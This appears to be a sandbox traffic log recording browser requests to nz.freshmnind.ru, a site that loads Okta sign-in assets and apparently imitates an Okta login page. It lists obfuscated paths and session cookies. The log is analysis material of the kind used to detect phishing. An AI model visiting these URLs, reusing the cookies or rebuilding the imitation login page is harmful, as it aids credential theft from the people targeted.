laravel_session=eyJpdiI6Ilh0bHVDeG9MV0VlT1FEVFdhSzlQcnc9PSIsInZhbHVlIjoicHNLbFlZbVg3akRMOXl1T1ZBQ2JSOVdReTNlMDVROGdWRlArWE1Sc0NJc2lYaGhPUmhhTWRVTU1XblVPVWxVZTJ0YzMzMytPckx0Q2FtMjRqMnlFenI1Qkw2c3YzVktSYXc3YUxCMDJsZmthWGRHMnpNbkQ4aGxSdnNJZmFiWVYiLCJtYWMiOiIyYjE4ODMxYzRiNjFkZGY4YWUyYjkyOGZlYzhkMmNlZTU4NWMwYzI4NmI2NTM5NGVmNzM3MTg4ZGU0Y2EzYmJlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://nz.freshmnind.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://nz.freshmnind.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /56n0qROe2zNwyNTkPpewzVTNgh0DzFctLRyk67110 HTTP/1.1Host: nz.freshmnind.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://nz.freshmnind.ru/IBAPKAFDSPMDLVCPIPCLJYXYDGd2jsuycmnjcqbg9i281l0inquulm?HKUKGRUJBWIOGKPMRAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InNaM2Q2Ri9KYTBQTEIyL2g2WGNON2c9PSIsInZhbHVlIjoiQVFOMFBOb09EOXAwYVJacGErOThYcytxZlQ2SXBrMWhwS3E5TlV4LzR6bHMraFRaSnVKUXBTWDJJeW03ZlpZU1RUejRkMUxjNlZSYWpBMkRaQlFoQlVnZHRJenc5S2RTUmFtcVNlVUM1NkpWQUZ6WGtvQXk4QkR2SDNIeUQ3MXAiLCJtYWMiOiI4NDdhYTE0ZjI5MmEzNzdjNWIyMGE1ZjIxODY1NmRhNDZjYTE1NjczNmJjMmNkMTJhOGMxYzM2YjdiMzJiZWRmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ilh0bHVDeG9MV0VlT1FEVFdhSzlQcnc9PSIsInZhbHVlIjoicHNLbFlZbVg3akRMOXl1T1ZBQ2JSOVdReTNlMDVROGdWRlArWE1Sc0NJc2lYaGhPUmhhTWRVTU1XblVPVWxVZTJ0YzMzMytPckx0Q2FtMjRqMnlFenI1Qkw2c3YzVktSYXc3YUxCMDJsZmthWGRHMnpNbkQ4aGxSdnNJZmFiWVYiLCJtYWMiOiIyYjE4ODMxYzRiNjFkZGY4YWUyYjkyOGZlYzhkMmNlZTU4NWMwYzI4NmI2NTM5NGVmNzM3MTg4ZGU0Y2EzYmJlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijBZZcOzw03ip9Kc248sz0IwnTYr0Cfqwd89RT4021e68Tk0C1U7pCyz221 HTTP/1.1Host: nz.freshmnind.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://nz.freshmnind.ru/IBAPKAFDSPMDLVCPIPCLJYXYDGd2jsuycmnjcqbg9i281l0inquulm?HKUKGRUJBWIOGKPMRAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InNaM2Q2Ri9KYTBQTEIyL2g2WGNON2c9PSIsInZhbHVlIjoiQVFOMFBOb09EOXAwYVJacGErOThYcytxZlQ2SXBrMWhwS3E5TlV4LzR6bHMraFRaSnVKUXBTWDJJeW03ZlpZU1RUejRkMUxjNlZSYWpBMkRaQlFoQlVnZHRJenc5S2RTUmFtcVNlVUM1NkpWQUZ6WGtvQXk4QkR2SDNIeUQ3MXAiLCJtYWMiOiI4NDdhYTE0ZjI5MmEzNzdjNWIyMGE1ZjIxODY1NmRhNDZjYTE1NjczNmJjMmNkMTJhOGMxYzM2YjdiMzJiZWRmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ilh0bHVDeG9MV0VlT1FEVFdhSzlQcnc9PSIsInZhbHVlIjoicHNLbFlZbVg3akRMOXl1T1ZBQ2JSOVdReTNlMDVROGdWRlArWE1Sc0NJc2lYaGhPUmhhTWRVTU1XblVPVWxVZTJ0YzMzMytPckx0Q2FtMjRqMnlFenI1Qkw2c3YzVktSYXc3YUxCMDJsZmthWGRHMnpNbkQ4aGxSdnNJZmFiWVYiLCJtYWMiOiIyYjE4ODMxYzRiNjFkZGY4YWUyYjkyOGZlYzhkMmNlZTU4NWMwYzI4NmI2NTM5NGVmNzM3MTg4ZGU0Y2EzYmJlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /mn8m9uObCJZIn4HgzVuS998A6fGNUllFRluijTeJOUzAO7uo9kqJ0UcRXntVaaob0m9HSgBwx220 HTTP/1.1Host: nz.freshmnind.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://nz.freshmnind.ru/IBAPKAFDSPMDLVCPIPCLJYXYDGd2jsuycmnjcqbg9i281l0inquulm?HKUKGRUJBWIOGKPMRAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InNaM2Q2Ri9KYTBQTEIyL2g2WGNON2c9PSIsInZhbHVlIjoiQVFOMFBOb09EOXAwYVJacGErOThYcytxZlQ2SXBrMWhwS3E5TlV4LzR6bHMraFRaSnVKUXBTWDJJeW03ZlpZU1RUejRkMUxjNlZSYWpBMkRaQlFoQlVnZHRJenc5S2RTUmFtcVNlVUM1NkpWQUZ6WGtvQXk4QkR2SDNIeUQ3MXAiLCJtYWMiOiI4NDdhYTE0ZjI5MmEzNzdjNWIyMGE1ZjIxODY1NmRhNDZjYTE1NjczNmJjMmNkMTJhOGMxYzM2YjdiMzJiZWRmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ilh0bHVDeG9MV0VlT1FEVFdhSzlQcnc9PSIsInZhbHVlIjoicHNLbFlZbVg3akRMOXl1T1ZBQ2JSOVdReTNlMDVROGdWRlArWE1Sc0NJc2lYaGhPUmhhTWRVTU1XblVPVWxVZTJ0YzMzMytPckx0Q2FtMjRqMnlFenI1Qkw2c3YzVktSYXc3YUxCMDJsZmthWGRHMnpNbkQ4aGxSdnNJZmFiWVYiLCJtYWMiOiIyYjE4ODMxYzRiNjFkZGY4YWUyYjkyOGZlYzhkMmNlZTU4NWMwYzI4NmI2NTM5NGVmNzM3MTg4ZGU0Y2EzYmJlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijBZZcOzw03ip9Kc248sz0IwnTYr0Cfqwd89RT4021e68Tk0C1U7pCyz221 HTTP/1.1Host: nz.freshmnind.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InNaM2Q2Ri9KYTBQTEIyL2g2WGNON2c9PSIsInZhbHVlIjoiQVFOMFBOb09EOXAwYVJacGErOThYcytxZlQ2SXBrMWhwS3E5TlV4LzR6bHMraFRaSnVKUXBTWDJJeW03ZlpZU1RUejRkMUxjNlZSYWpBMkRaQlFoQlVnZHRJenc5S2RTUmFtcVNlVUM1NkpWQUZ6WGtvQXk4QkR2SDNIeUQ3MXAiLCJtYWMiOiI4NDdhYTE0ZjI5MmEzNzdjNWIyMGE1ZjIxODY1NmRhNDZjYTE1NjczNmJjMmNkMTJhOGMxYzM2YjdiMzJiZWRmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ilh0bHVDeG9MV0VlT1FEVFdhSzlQcnc9PSIsInZhbHVlIjoicHNLbFlZbVg3akRMOXl1T1ZBQ2JSOVdReTNlMDVROGdWRlArWE1Sc0NJc2lYaGhPUmhhTWRVTU1XblVPVWxVZTJ0YzMzMytPckx0Q2FtMjRqMnlFenI1Qkw2c3YzVktSYXc3YUxCMDJsZmthWGRHMnpNbkQ4aGxSdnNJZmFiWVYiLCJtYWMiOiIyYjE4ODMxYzRiNjFkZGY4YWUyYjkyOGZlYzhkMmNlZTU4NWMwYzI4NmI2NTM5NGVmNzM3MTg4ZGU0Y2EzYmJlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /mn8m9uObCJZIn4HgzVuS998A6fGNUllFRluijTeJOUzAO7uo9kqJ0UcRXntVaaob0m9HSgBwx220 HTTP/1.1Host: nz.freshmnind.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InNaM2Q2Ri9KYTBQTEIyL2g2WGNON2c9PSIsInZhbHVlIjoiQVFOMFBOb09EOXAwYVJacGErOThYcytxZlQ2SXBrMWhwS3E5TlV4LzR6bHMraFRaSnVKUXBTWDJJeW03ZlpZU1RUejRkMUxjNlZSYWpBMkRaQlFoQlVnZHRJenc5S2RTUmFtcVNlVUM1NkpWQUZ6WGtvQXk4QkR2SDNIeUQ3MXAiLCJtYWMiOiI4NDdhYTE0ZjI5MmEzNzdjNWIyMGE1ZjIxODY1NmRhNDZjYTE1NjczNmJjMmNkMTJhOGMxYzM2YjdiMzJiZWRmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ilh0bHVDeG9MV0VlT1FEVFdhSzlQcnc9PSIsInZhbHVlIjoicHNLbFlZbVg3akRMOXl1T1ZBQ2JSOVdReTNlMDVROGdWRlArWE1Sc0NJc2lYaGhPUmhhTWRVTU1XblVPVWxVZTJ0YzMzMytPckx0Q2FtMjRqMnlFenI1Qkw2c3YzVktSYXc3YUxCMDJsZmthWGRHMnpNbkQ4aGxSdnNJZmFiWVYiLCJtYWMiOiIyYjE4ODMxYzRiNjFkZGY4YWUyYjkyOGZlYzhkMmNlZTU4NWMwYzI4NmI2NTM5NGVmNzM3MTg4ZGU0Y2EzYmJlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /wxFQR4FN5KH0wnzDRMaN6pVgvFRqrVShhuogPy4lF548gQda34130 HTTP/1.1Host: nz.freshmnind.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://nz.freshmnind.ru/IBAPKAFDSPMDLVCPIPCLJYXYDGd2jsuycmnjcqbg9i281l0inquulm?HKUKGRUJBWIOGKPMRAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InNaM2Q2Ri9KYTBQTEIyL2g2WGNON2c9PSIsInZhbHVlIjoiQVFOMFBOb09EOXAwYVJacGErOThYcytxZlQ2SXBrMWhwS3E5TlV4LzR6bHMraFRaSnVKUXBTWDJJeW03ZlpZU1RUejRkMUxjNlZSYWpBMkRaQlFoQlVnZHRJenc5S2RTUmFtcVNlVUM1NkpWQUZ6WGtvQXk4QkR2SDNIeUQ3MXAiLCJtYWMiOiI4NDdhYTE0ZjI5MmEzNzdjNWIyMGE1ZjIxODY1NmRhNDZjYTE1NjczNmJjMmNkMTJhOGMxYzM2YjdiMzJiZWRmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ilh0bHVDeG9MV0VlT1FEVFdhSzlQcnc9PSIsInZhbHVlIjoicHNLbFlZbVg3akRMOXl1T1ZBQ2JSOVdReTNlMDVROGdWRlArWE1Sc0NJc2lYaGhPUmhhTWRVTU1XblVPVWxVZTJ0YzMzMytPckx0Q2FtMjRqMnlFenI1Qkw2c3YzVktSYXc3YUxCMDJsZmthWGRHMnpNbkQ4aGxSdnNJZmFiWVYiLCJtYWMiOiIyYjE4ODMxYzRiNjFkZGY4YWUyYjkyOGZlYzhkMmNlZTU4NWMwYzI4NmI2NTM5NGVmNzM3MTg4ZGU0Y2EzYmJlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /qrVPK489M24hwfH5kjvNnXyMd1ghIHxR9LPPlGiA45136 HTTP/1.1Host: nz.freshmnind.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://nz.freshmnind.ru/IBAPKAFDSPMDLVCPIPCLJYXYDGd2jsuycmnjcqbg9i281l0inquulm?HKUKGRUJBWIOGKPMRAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InNaM2Q2Ri9KYTBQTEIyL2g2WGNON2c9PSIsInZhbHVlIjoiQVFOMFBOb09EOXAwYVJacGErOThYcytxZlQ2SXBrMWhwS3E5TlV4LzR6bHMraFRaSnVKUXBTWDJJeW03ZlpZU1RUejRkMUxjNlZSYWpBMkRaQlFoQlVnZHRJenc5S2RTUmFtcVNlVUM1NkpWQUZ6WGtvQXk4QkR2SDNIeUQ3MXAiLCJtYWMiOiI4NDdhYTE0ZjI5MmEzNzdjNWIyMGE1ZjIxODY1NmRhNDZjYTE1NjczNmJjMmNkMTJhOGMxYzM2YjdiMzJiZWRmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ilh0bHVDeG9MV0VlT1FEVFdhSzlQcnc9PSIsInZhbHVlIjoicHNLbFlZbVg3akRMOXl1T1ZBQ2JSOVdReTNlMDVROGdWRlArWE1Sc0NJc2lYaGhPUmhhTWRVTU1XblVPVWxVZTJ0YzMzMytPckx0Q2FtMjRqMnlFenI1Qkw2c3YzVktSYXc3YUxCMDJsZmthWGRHMnpNbkQ4aGxSdnNJZmFiWVYiLCJtYWMiOiIyYjE4ODMxYzRiNjFkZGY4YWUyYjkyOGZlYzhkMmNlZTU4NWMwYzI4NmI2NTM5NGVmNzM3MTg4ZGU0Y2EzYmJlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /nzeKMOpVOW9yQnlJ0L56EPDAdos9WCTmABd5k6hvZRYfhx HTTP/1.1Host: nz.freshmnind.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InBmQ3RlSXdxVC9jYnVVTnZQdkVaMEE9PSIsInZhbHVlIjoiYUtHbkhCWWNvUHpBdVI3QzRBaXN2VjlMVml0RFp6V0RrZFFtQkxxTjJ4eUVuY2lJVVlJWGhYb2RBRUlrazhDcVVlU2F0VlJFRDB0anMwSVdZelZId0gzbHBMajFuNXIrRjB2eFRtY0tsL2NNZGlTS21Da3A2S0RSeUtLUi9KZXoiLCJtYWMiOiI5NjE2OGM5ZWIxMzZiMDNlOWFmMjNhNTQzYWE2ODMzMWM2NTEyZjQxMjAwNTVjYmYwZTZhNzQ4NzUzM2Y1NTk4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImU5eFVVeEhTU2hEazJxWjBtOHhvUnc9PSIsInZhbHVlIjoiSkcvN2tITmh5REZEa0tyNkR3WWI1bnl6YzB2cmlMMzFSbXNZVVk5YWRKZTVMMEJvQmtJcEczQXdneXltdUJYOTgzT25JZ1Z4TklMSzUrQjQ1TGdkekp4ZUF4MWtGZmVRRmhNZmg3UHgwRTArcVozU0NlcmxMeGZhbWRCNG1KZzMiLCJtYWMiOiJkYzdiNzYzNDYwMzBiNDg5ZDhjZmUzZGI5MDU5NzA5MDVmNjllZDBiNmY3NzEwODY1ZDJhNDY3MTExNzU2OGM0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /mnEEf90aNx2Vw86HhkOoVxE0aLtTuvVJYkoiAgmPZUKj78150 HTTP/1.1Host: nz.freshmnind.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://nz.freshmnind.ru/IBAPKAFDSPMDLVCPIPCLJYXYDGd2jsuycmnjcqbg9i281l0inquulm?HKUKGRUJBWIOGKPMRAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InBmQ3RlSXdxVC9jYnVVTnZQdkVaMEE9PSIsInZhbHVlIjoiYUtHbkhCWWNvUHpBdVI3QzRBaXN2VjlMVml0RFp6V0RrZFFtQkxxTjJ4eUVuY2lJVVlJWGhYb2RBRUlrazhDcVVlU2F0VlJFRDB0anMwSVdZelZId0gzbHBMajFuNXIrRjB2eFRtY0tsL2NNZGlTS21Da3A2S0RSeUtLUi9KZXoiLCJtYWMiOiI5NjE2OGM5ZWIxMzZiMDNlOWFmMjNhNTQzYWE2ODMzMWM2NTEyZjQxMjAwNTVjYmYwZTZhNzQ4NzUzM2Y1NTk4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImU5eFVVeEhTU2hEazJxWjBtOHhvUnc9PSIsInZhbHVlIjoiSkcvN2tITmh5REZEa0tyNkR3WWI1bnl6YzB2cmlMMzFSbXNZVVk5YWRKZTVMMEJvQmtJcEczQXdneXltdUJYOTgzT25JZ1Z4TklMSzUrQjQ1TGdkekp4ZUF4MWtGZmVRRmhNZmg3UHgwRTArcVozU0NlcmxMeGZhbWRCNG1KZzMiLCJtYWMiOiJkYzdiNzYzNDYwMzBiNDg5ZDhjZmUzZGI5MDU5NzA5MDVmNjllZDBiNmY3NzEwODY1ZDJhNDY3MTExNzU2OGM0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijclYUb10SdAiNlSfNvRacitYnlFeodE99yz6KsKmq6TmJLUgReTdx3Ue78170 HTTP/1.1Host: nz.freshmnind.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://nz.freshmnind.ru/IBAPKAFDSPMDLVCPIPCLJYXYDGd2jsuycmnjcqbg9i281l0inquulm?HKUKGRUJBWIOGKPMRAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InBmQ3RlSXdxVC9jYnVVTnZQdkVaMEE9PSIsInZhbHVlIjoiYUtHbkhCWWNvUHpBdVI3QzRBaXN2VjlMVml0RFp6V0RrZFFtQkxxTjJ4eUVuY2lJVVlJWGhYb2RBRUlrazhDcVVlU2F0VlJFRDB0anMwSVdZelZId0gzbHBMajFuNXIrRjB2eFRtY0tsL2NNZGlTS21Da3A2S0RSeUtLUi9KZXoiLCJtYWMiOiI5NjE2OGM5ZWIxMzZiMDNlOWFmMjNhNTQzYWE2ODMzMWM2NTEyZjQxMjAwNTVjYmYwZTZhNzQ4NzUzM2Y1NTk4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImU5eFVVeEhTU2hEazJxWjBtOHhvUnc9PSIsInZhbHVlIjoiSkcvN2tITmh5REZEa0tyNkR3WWI1bnl6YzB2cmlMMzFSbXNZVVk5YWRKZTVMMEJvQmtJcEczQXdneXltdUJYOTgzT25JZ1Z4TklMSzUrQjQ1TGdkekp4ZUF4MWtGZmVRRmhNZmg3UHgwRTArcVozU0NlcmxMeGZhbWRCNG1KZzMiLCJtYWMiOiJkYzdiNzYzNDYwMzBiNDg5ZDhjZmUzZGI5MDU5NzA5MDVmNjllZDBiNmY3NzEwODY1ZDJhNDY3MTExNzU2OGM0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /yzcdjaqJlpY3HANBNbYuGyzePNvIty75BarsPN4fJ4MEjrggCb6ab176 HTTP/1.1Host: nz.freshmnind.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://nz.freshmnind.ru/IBAPKAFDSPMDLVCPIPCLJYXYDGd2jsuycmnjcqbg9i281l0inquulm?HKUKGRUJBWIOGKPMRAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InBmQ3RlSXdxVC9jYnVVTnZQdkVaMEE9PSIsInZhbHVlIjoiYUtHbkhCWWNvUHpBdVI3QzRBaXN2VjlMVml0RFp6V0RrZFFtQkxxTjJ4eUVuY2lJVVlJWGhYb2RBRUlrazhDcVVlU2F0VlJFRDB0anMwSVdZelZId0gzbHBMajFuNXIrRjB2eFRtY0tsL2NNZGlTS21Da3A2S0RSeUtLUi9KZXoiLCJtYWMiOiI5NjE2OGM5ZWIxMzZiMDNlOWFmMjNhNTQzYWE2ODMzMWM2NTEyZjQxMjAwNTVjYmYwZTZhNzQ4NzUzM2Y1NTk4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImU5eFVVeEhTU2hEazJxWjBtOHhvUnc9PSIsInZhbHVlIjoiSkcvN2tITmh5REZEa0tyNkR3WWI1bnl6YzB2cmlMMzFSbXNZVVk5YWRKZTVMMEJvQmtJcEczQXdneXltdUJYOTgzT25JZ1Z4TklMSzUrQjQ1TGdkekp4ZUF4MWtGZmVRRmhNZmg3UHgwRTArcVozU0NlcmxMeGZhbWRCNG1KZzMiLCJtYWMiOiJkYzdiNzYzNDYwMzBiNDg5ZDhjZmUzZGI5MDU5NzA5MDVmNjllZDBiNmY3NzEwODY1ZDJhNDY3MTExNzU2OGM0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://nz.freshmnind.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rsBPz9FWiDmkYf0mH0JpBJnijx9sjAYSbHIJc4Ue0CzreM112Nr3aief196 HTTP/1.1Host: nz.freshmnind.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://nz.freshmnind.ru/IBAPKAFDSPMDLVCPIPCLJYXYDGd2jsuycmnjcqbg9i281l0inquulm?HKUKGRUJBWIOGKPMRAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InBmQ3RlSXdxVC9jYnVVTnZQdkVaMEE9PSIsInZhbHVlIjoiYUtHbkhCWWNvUHpBdVI3QzRBaXN2VjlMVml0RFp6V0RrZFFtQkxxTjJ4eUVuY2lJVVlJWGhYb2RBRUlrazhDcVVlU2F0VlJFRDB0anMwSVdZelZId0gzbHBMajFuNXIrRjB2eFRtY0tsL2NNZGlTS21Da3A2S0RSeUtLUi9KZXoiLCJtYWMiOiI5NjE2OGM5ZWIxMzZiMDNlOWFmMjNhNTQzYWE2ODMzMWM2NTEyZjQxMjAwNTVjYmYwZTZhNzQ4NzUzM2Y1NTk4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImU5eFVVeEhTU2hEazJxWjBtOHhvUnc9PSIsInZhbHVlIjoiSkcvN2tITmh5REZEa0tyNkR3WWI1bnl6YzB2cmlMMzFSbXNZVVk5YWRKZTVMMEJvQmtJcEczQXdneXltdUJYOTgzT25JZ1Z4TklMSzUrQjQ1TGdkekp4ZUF4MWtGZmVRRmhNZmg3UHgwRTArcVozU0NlcmxMeGZhbWRCNG1KZzMiLCJtYWMiOiJkYzdiNzYzNDYwMzBiNDg5ZDhjZmUzZGI5MDU5NzA5MDVmNjllZDBiNmY3NzEwODY1ZDJhNDY3MTExNzU2OGM0IiwidGFnIjoiIn0%3D
